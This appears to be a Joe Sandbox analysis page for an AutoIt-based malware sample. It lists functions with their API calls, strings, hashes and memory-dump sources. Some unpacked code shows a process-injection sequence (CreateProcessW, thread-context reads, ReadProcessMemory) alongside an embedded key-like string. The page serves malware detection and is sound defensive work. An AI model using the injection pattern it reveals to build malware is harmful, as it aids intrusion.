Opcode ID: 62fc2bda56608440994516e7c224d7270c83c89fbc6883783bd31fe30ff537b7
Instruction ID: af5f26c0921689228149e57d3835c5e33c89ff76a4ef47882f20c4e9bc60c898
Opcode Fuzzy Hash: 62fc2bda56608440994516e7c224d7270c83c89fbc6883783bd31fe30ff537b7
Instruction Fuzzy Hash: 7CC11EB1D00229AADF11DF99DC85ADEB7BDFF45310F0040A6F609E7291DB309A858F66

Function 00803015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00803074
RegisterClassExW.USER32(00000030), ref: 0080309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008030AF
InitCommonControlsEx.COMCTL32(?), ref: 008030CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008030DC
LoadIconW.USER32(000000A9), ref: 008030F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00803101

Strings

+, xrefs: 0080305D
AutoIt v3 GUI, xrefs: 00803090
TaskbarCreated, xrefs: 008030A4
0, xrefs: 00803056

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 7d5d5bcb97a139039b6f76d2942de6fcece8851edba142a60736743bbedc0a50
Instruction ID: fdf5fa890a4c95e05c800702c6706a058c103efe3516c985ec4c5d178ce89bab
Opcode Fuzzy Hash: 7d5d5bcb97a139039b6f76d2942de6fcece8851edba142a60736743bbedc0a50
Instruction Fuzzy Hash: 843129B1850309EFDB51DFA8EC89A8DBBF0FB09320F20416AF691E62A1D7B51585CF51

Function 00803A46 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00803A50
LoadCursorW.USER32(00000000,00007F00), ref: 00803A5F
LoadIconW.USER32(00000063), ref: 00803A76
LoadIconW.USER32(000000A4), ref: 00803A88
LoadIconW.USER32(000000A2), ref: 00803A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00803AC0
RegisterClassExW.USER32(?), ref: 00803B16

Part of subcall function 00803041: GetSysColorBrush.USER32(0000000F), ref: 00803074
Part of subcall function 00803041: RegisterClassExW.USER32(00000030), ref: 0080309E
Part of subcall function 00803041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008030AF
Part of subcall function 00803041: InitCommonControlsEx.COMCTL32(?), ref: 008030CC
Part of subcall function 00803041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008030DC
Part of subcall function 00803041: LoadIconW.USER32(000000A9), ref: 008030F2
Part of subcall function 00803041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00803101

Strings

0, xrefs: 00803AF4
#, xrefs: 00803AFB
AutoIt v3, xrefs: 00803B05
8o, xrefs: 00803AA1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$8o$AutoIt v3
API String ID: 423443420-4094678437
Opcode ID: 551e4427c51bfbb63d255da424e8cd4f39a992aacc2ded7b211ef15c7a856e1b
Instruction ID: 30c2dad571cf4e43a730b143ee52cfaa34911255dd7b9b15eb18b268b5452784
Opcode Fuzzy Hash: 551e4427c51bfbb63d255da424e8cd4f39a992aacc2ded7b211ef15c7a856e1b
Instruction Fuzzy Hash: 64214671D00708AFEF10DFA8EC09F9D7BF5FB08711F10012AE600AA2A2D3B566908F84

Function 00803041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00803074
RegisterClassExW.USER32(00000030), ref: 0080309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 008030AF
InitCommonControlsEx.COMCTL32(?), ref: 008030CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 008030DC
LoadIconW.USER32(000000A9), ref: 008030F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00803101

Strings

+, xrefs: 0080305D
AutoIt v3 GUI, xrefs: 00803090
TaskbarCreated, xrefs: 008030A4
0, xrefs: 00803056

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 34d1ec6fd9313b05d5b3eaa3de96ab8e490d72b03dbb37e2de522bd52217b3ad
Instruction ID: b1d2def8e16319767fa1a79f3976139b5503459a83f1da2e2484dc63966db5f2
Opcode Fuzzy Hash: 34d1ec6fd9313b05d5b3eaa3de96ab8e490d72b03dbb37e2de522bd52217b3ad
Instruction Fuzzy Hash: 8E21C7B1911618AFEF00DFA8EC49B9EBBF4FB08710F10412AF611E62A1D7B15584CF91

Function 0080708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00804706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,008C52F8,?,008037AE,?), ref: 00804724

Part of subcall function 0082050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00807165), ref: 0082052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 008071A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0083E8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0083E909
RegCloseKey.ADVAPI32(?), ref: 0083E947
_wcscat.LIBCMT ref: 0083E9A0

Strings

Include, xrefs: 0083E8BF, 0083E900
\Include\, xrefs: 00807165
Software\AutoIt v3\AutoIt, xrefs: 0080719E
\, xrefs: 0083E9C3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 2673923337-2727554177
Opcode ID: c59f1a19c885228caa97559f65e8ce6bafa9367b4bba74980e28087f666d5517
Instruction ID: a35a6896d32fa26a3efa252a941fb66170c50cb3e46c985e35790262c7c72aa5
Opcode Fuzzy Hash: c59f1a19c885228caa97559f65e8ce6bafa9367b4bba74980e28087f666d5517
Instruction Fuzzy Hash: D9714871508311AEC714EF69EC81DABBBB8FF94310F40492EF545C72A1EB71A958CB92

Function 00803633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 008036D2
KillTimer.USER32(?,00000001), ref: 008036FC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0080371F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0080372A
CreatePopupMenu.USER32 ref: 0080373E
PostQuitMessage.USER32(00000000), ref: 0080374D

Strings

TaskbarCreated, xrefs: 00803725

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 733a23d05960a63c10263c74f37fbfc0a42f334504d06802ba7f444aee0c76db
Instruction ID: fe3a5faf2a20ba4988e590dc7e2fa50805cad62103983cfbf500836ed913944e
Opcode Fuzzy Hash: 733a23d05960a63c10263c74f37fbfc0a42f334504d06802ba7f444aee0c76db
Instruction Fuzzy Hash: F44117B2100949ABDF546FACEC09F7A37ACFB55300F500135F702D62E2DB72A994A362

Function 00803766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/AutoIt3ExecuteLine, xrefs: 008038A7
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 008037AE
/ErrorStdOut, xrefs: 0080387D
/AutoIt3OutputDebug, xrefs: 00803892
/AutoIt3ExecuteScript, xrefs: 008038BC
CMDLINERAW, xrefs: 008037FB
CMDLINE, xrefs: 00803822

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW
API String ID: 1825951767-3513169116
Opcode ID: 8cf27f47b46e07fcbb3c62bd01e6394b52236c2ebe2f7ab228317c3625ad6b69
Instruction ID: 4374bf16f3cdc2da117fc866962a2cddddf7980903495d5a36e3003e58e15ba1
Opcode Fuzzy Hash: 8cf27f47b46e07fcbb3c62bd01e6394b52236c2ebe2f7ab228317c3625ad6b69
Instruction Fuzzy Hash: D3A14C7290022D9ACF45EBA8DC91EEEB778FF15310F000529E516E71D2DF746A48CBA1

Function 00E55280 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00E55351
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00E55577

Strings

k[, xrefs: 00E55435, 00E55441, 00E55450

Memory Dump Source

Source File: 00000005.00000002.1333401749.0000000000E52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_e52000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID: k[
API String ID: 204039940-1090507577
Opcode ID: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction ID: a1738192ae393eb210645c08e1c9f08f5d756ed6134dbf12584c9ff1503ff2ce
Opcode Fuzzy Hash: d349c2c11462b54f33c86561be68849ac3e84e681e3d8bb3fdc8e10bc75df865
Instruction Fuzzy Hash: 43A12A71E00208EBDB14CFA4C894BEEB7B5FF48306F209959E915BB280D7759A85CF54

Function 0080F76F Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00820162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00820193
Part of subcall function 00820162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0082019B
Part of subcall function 00820162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 008201A6
Part of subcall function 00820162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 008201B1
Part of subcall function 00820162: MapVirtualKeyW.USER32(00000011,00000000), ref: 008201B9
Part of subcall function 00820162: MapVirtualKeyW.USER32(00000012,00000000), ref: 008201C1

Part of subcall function 008160F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0080F930), ref: 00816154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0080F9CD
OleInitialize.OLE32(00000000), ref: 0080FA4A
CloseHandle.KERNEL32(00000000), ref: 008445C8

Strings

H, xrefs: 0080F8FE
X, xrefs: 0080F914
h, xrefs: 0080F7F7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: H$X$h
API String ID: 1986988660-3279992219
Opcode ID: 000c5b1f975911733709c4f97cd87043c86a83ecf0fa12aabb78c68c1e5d8095
Instruction ID: 72107a528fdccd4d6ae7c1363c95f94eaf3c7b68ff5069eb62fc3370455dabad
Opcode Fuzzy Hash: 000c5b1f975911733709c4f97cd87043c86a83ecf0fa12aabb78c68c1e5d8095
Instruction Fuzzy Hash: 8D81ACF0905A808ECF88DF79A845E197BF5FBA9306790812AD119CB372EB7464C58F19

Function 008039D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00803A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00803A24
ShowWindow.USER32(00000000,?,?), ref: 00803A38
ShowWindow.USER32(00000000,?,?), ref: 00803A41

Strings

AutoIt v3, xrefs: 008039FB, 00803A00, 00803A01
edit, xrefs: 00803A1E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: f99c9c30b9f30afe52cc3b6c698ca4b60e65617d92dd2eab2e9b5ad5957df94b
Instruction ID: 91addf3130cd1f95e526dae72384ee4ce267e45ec8f46b874a11a4b34a7193c8
Opcode Fuzzy Hash: f99c9c30b9f30afe52cc3b6c698ca4b60e65617d92dd2eab2e9b5ad5957df94b
Instruction Fuzzy Hash: 09F0DA715416907EEF316727AC49E6B3EBDF7C6F50F00412ABA04E2171C6752891DAB0

Function 00E55040 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E54F30: Sleep.KERNELBASE(000001F4), ref: 00E54F41

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00E55172

Strings

Q8X9EZ6H83VBXSMXT8, xrefs: 00E551D5, 00E551D8

Memory Dump Source

Source File: 00000005.00000002.1333401749.0000000000E52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_e52000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateFileSleep
String ID: Q8X9EZ6H83VBXSMXT8
API String ID: 2694422964-3982865328
Opcode ID: 6d064ffc7f56baff640537454cfba4fd532f09707622775d4772aa25ae485cd5
Instruction ID: bf21af4c96283e2829b257cc72bb0ebce7ccb116ef5fa285850fb01d9ad25a72
Opcode Fuzzy Hash: 6d064ffc7f56baff640537454cfba4fd532f09707622775d4772aa25ae485cd5
Instruction Fuzzy Hash: 0251C531D04248EBEF11DBB4D854BEEBB79AF19305F104599E608BB2C1D7B90B48CBA5

Function 0080407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0083D3D7

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

_memset.LIBCMT ref: 008040FC
_wcscpy.LIBCMT ref: 00804150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00804160

Strings

Line: , xrefs: 0083D400

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: f82fe5722177ea535cad8dd427d485e5ff0b5dab85d776db7b675b98b4d84a5a
Instruction ID: 2fb0ee4287a84917368a580d049da7f609c78091439c637db7b5a6af5b6f9900
Opcode Fuzzy Hash: f82fe5722177ea535cad8dd427d485e5ff0b5dab85d776db7b675b98b4d84a5a
Instruction Fuzzy Hash: CF31A0B2408705AAD7A1EB64EC45FDB77E8FF44314F10451AB685D21D1EB70A688C793

Function 0082541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0082547B
_memcpy_s.LIBCMT ref: 008254ED
__read_nolock.LIBCMT ref: 0082554B
__filbuf.LIBCMT ref: 0082556E
_memset.LIBCMT ref: 008255B2

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: 9f0a094f49cf9064cf0d3e41be2ceab6228693adeea463916dc582922044740b
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 5A51C3B0A40B29DBCB249F69F98066EB7A2FF40335F248729F825D62D0D7709DD08B45

Function 0080686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00804DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,008C52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00804E0F

_free.LIBCMT ref: 0083E263
_free.LIBCMT ref: 0083E2AA

Part of subcall function 00806A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00806BAD

Strings

Bad directive syntax error, xrefs: 0083E292
>>>AUTOIT SCRIPT<<<, xrefs: 0083E039

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: 9927cd32f01121d0b2a6631dbfe2fa75eaad2d8fc94bf75450ee0f0d24ebe73e
Instruction ID: 78a7d5e5f0fa65ae1a607c131a9364d1b4ad713ce6482d53218740aaae8bea3c
Opcode Fuzzy Hash: 9927cd32f01121d0b2a6631dbfe2fa75eaad2d8fc94bf75450ee0f0d24ebe73e
Instruction Fuzzy Hash: 18913871900219AFCF04EFA8DC919EEB7B8FF54314F10442AF815EB2A1DB74A955CB91

Function 008035B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,008035A1,SwapMouseButtons,00000004,?), ref: 008035D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,008035A1,SwapMouseButtons,00000004,?,?,?,?,00802754), ref: 008035F5
RegCloseKey.KERNELBASE(00000000,?,?,008035A1,SwapMouseButtons,00000004,?,?,?,?,00802754), ref: 00803617

Strings

Control Panel\Mouse, xrefs: 008035D2

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: ea272adf874f14ae40f7bb466bb2a80176d9332c82ece6cd1d60792e6666973b
Instruction ID: f75672802f09a817490aa4cc54c1d10cc760e10365e92d84573ad9ee26e4e74e
Opcode Fuzzy Hash: ea272adf874f14ae40f7bb466bb2a80176d9332c82ece6cd1d60792e6666973b
Instruction Fuzzy Hash: 12114871510608BFDB218FA8DC409AEB7BCFF14740F104469F905E7250D6729E40A760

Function 00E53F30 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00E5475D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00E54781
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E547A3

Memory Dump Source

Source File: 00000005.00000002.1333401749.0000000000E52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_e52000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
Instruction ID: 3ff59f365b7e7dcb15e6b0f94509c82a8b47184f488c741c3cc5847469ecc6ec
Opcode Fuzzy Hash: e3f14b9100784c2d13b4d96e4da997e342e741b63af52aad6d222721779d43e7
Instruction Fuzzy Hash: 5D623A70A14258DBEB24CFA4C840BDEB372EF58305F1095A9E50DEB2D0E7769E84CB59

Function 0086955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00804EE5: _fseek.LIBCMT ref: 00804EFD

Part of subcall function 00869734: _wcscmp.LIBCMT ref: 00869824
Part of subcall function 00869734: _wcscmp.LIBCMT ref: 00869837

_free.LIBCMT ref: 008696A2
_free.LIBCMT ref: 008696A9
_free.LIBCMT ref: 00869714

Part of subcall function 00822D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00829A24), ref: 00822D69
Part of subcall function 00822D55: GetLastError.KERNEL32(00000000,?,00829A24), ref: 00822D7B

_free.LIBCMT ref: 0086971C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
